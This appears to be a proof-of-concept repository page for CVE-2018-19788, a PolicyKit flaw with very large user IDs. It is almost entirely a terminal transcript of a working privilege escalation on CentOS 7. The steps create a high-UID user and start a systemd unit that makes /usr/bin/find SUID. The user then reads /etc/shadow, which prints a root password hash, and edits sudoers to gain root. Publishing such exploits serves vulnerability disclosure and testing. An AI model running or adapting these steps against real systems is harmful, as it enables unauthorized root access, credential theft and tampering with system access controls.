CVE-2018-19788 PoC — Red Hat PolicyKit 输入验证错误漏洞

Description

Exploiting The CVE-2018-19788 PolicyKit Bug

Readme

# CVE-2018-19788
Exploiting The CVE-2018-19788 PolicyKit Bug

Steps to exploit PolicyKit bug on a fully patched CentOS7 installation.

[root@centos7 ~]# groupadd -g 4000000000 cve201819788  
[root@centos7 ~]# useradd -m -c "User With High UID" -u 4000000000 -g 4000000000 -s /bin/bash cve201819788  
[root@centos7 ~]# id cve201819788  
 uid=4000000000(cve201819788) gid=4000000000(cve201819788) groups=4000000000(cve201819788)  
[root@centos7 ~]# cat >hacked.service<<HACKED  
[Unit]  
Description=Hacked Service  
 
[Service]  
Type=notify  
ExecStart=/bin/bash -c "chmod +s /usr/bin/find"  
KillMode=process  
Restart=on-failure  
RestartSec=60s  
 
[Install]  
WantedBy=multi-user.target  
HACKED  

[root@centos7 ~]# systemctl link $(pwd)/hacked.service  
Created symlink from /etc/systemd/system/hacked.service to /root/hacked.service.  
[root@centos7 ~]# su - cve201819788  
[cve201819788@centos7 ~]$ whoami  
cve201819788  
[cve201819788@centos7 ~]$ grep root /etc/shadow  
grep: /etc/shadow: Permission denied  
[cve201819788@centos7 ~]$ systemctl start hacked  
 
 (pkttyagent:12785): GLib-GObject-WARNING **: 21:08:45.965: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' **    
 ERROR:pkttyagent.c:146:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)  

[cve201819788@centos7 ~]$ ls -l $(which find)  
-rwsr-sr-x. 1 root root 199304 Oct 30 12:42 /bin/find  
[cve201819788@centos7 ~]$ find /etc/shadow -exec grep root {} \;  
root:$6$/zGjAAFHb.RUQJPx$qJH5DgIrZ1avYAeceWPNKitAbyGxMQ6vaOL7MfJ84mrwU6xgOxr/4hpQqdNWQiX6nBgu9WUKqWrJ4t6zRFbIN1::0:99999:7:::  
[cve201819788@centos7 ~]$ find /etc/sudoers -exec visudo -f {} \;  

## Insert following into sudoers file  
cve201819788    ALL=(ALL)       ALL  
##  

[cve201819788@centos7 ~]$ sudo -l  
[sudo] password for cve201819788:   
Matching Defaults entries for cve201819788 on centos7:  
     !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1  
     PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER  
     LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin  
 
 User cve201819788 may run the following commands on centos7:  
     (ALL) ALL  
 [cve201819788@centos7 ~]$ sudo su -  
 Last login: Sun Dec 30 20:59:54 EST 2018 from 192.168.1.2 on pts/0  
 [root@centos7 ~]# whoami  
 root  

File Snapshot

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